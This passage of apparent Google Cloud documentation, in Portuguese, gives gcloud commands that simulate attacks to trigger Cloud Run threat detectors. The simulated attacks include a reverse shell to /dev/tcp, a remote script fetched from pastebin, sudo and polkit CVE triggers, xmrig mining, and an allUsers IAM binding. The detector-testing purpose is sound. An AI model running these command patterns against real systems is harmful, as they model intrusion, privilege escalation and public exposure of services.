      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Impact: Remove Bulk Data From Disk.

Impacto: atividade suspeita de mineração de criptomoedas usando o protocolo Stratum

Para acionar uma descoberta Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol, execute um binário com argumentos semelhantes aos usados pelo software de mineração de criptomoedas que se comunica usando o protocolo Stratum.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol.

Script malicioso executado

Para acionar uma descoberta de Malicious Script Executed, execute um script que imite um comportamento malicioso.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Malicious Script Executed.

URL malicioso observado

Para acionar uma descoberta de Malicious URL Observed, execute um binário e forneça um URL malicioso como um argumento.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste aciona uma descoberta Malicious URL Observed.

Escalonamento de privilégios: uso indevido do comando sudo como vetor de escalonamento de privilégios (CVE-2019-14287)

Para acionar uma descoberta de Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287), execute o binário sudo com o parâmetro -u#-1.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287).

Escalonamento de privilégios: possível uso do comando sudo como vetor de escalonamento de privilégios (CVE-2021-3156)

Para acionar uma descoberta Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156), execute o binário sudo com o parâmetro -s e um parâmetro que termine com ``.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156).

Escalonamento de privilégios: vulnerabilidade de escalonamento de privilégios local do Polkit (CVE-2021-4034)

Para acionar uma descoberta Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034), execute um binário pkexec com a variável de ambiente GCONV_PATH definida como um usuário não raiz.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034).

Shell reverso

Para acionar uma descoberta Reverse Shell, inicie um binário com o redirecionamento stdin para um soquete conectado por TCP.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Reverse Shell.

Shell filho inesperado

Para testar o detector Unexpected Child Shell, crie uma árvore de processos que inclua um processo de shell filho.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --task-timeout 700 \
      --args "-c",'sleep 601; cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; /tmp/consul -c "/tmp/sh child ran successfully & wait"; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Unexpected Child Shell. Esse teste pode levar até 15 minutos para produzir uma descoberta.

Execução: imagem Docker de mineração de criptomoedas

Para acionar uma descoberta de Execution: Cryptomining Docker Image, implante um contêiner usando um nome de imagem Docker associado ao software de criptomineração.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image docker.io/security-test-DO-NOT-USE/xmrig:latest \
      --command sh \
      --wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Execution: Cryptomining Docker Image. A implantação do job vai falhar porque a imagem não existe, mas a descoberta ainda será gerada.

Impacto: comandos de mineração de criptomoedas

Para acionar uma descoberta Impact: Cryptomining Commands, execute um comando com argumentos que se assemelham a softwares de criptomineração conhecidos.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command xmrig \
      --wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Impact: Cryptomining Commands. A execução do job vai falhar porque o comando não existe na imagem, mas a descoberta ainda será gerada.

Escalonamento de privilégios: SetIAMPolicy da conta de serviço padrão do Compute Engine

Para acionar uma descoberta Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy, execute um comando que use a conta de serviço padrão do Compute Engine para definir a política do IAM de um serviço do Cloud Run.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
      --command gcloud \
      --args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy.

A seguir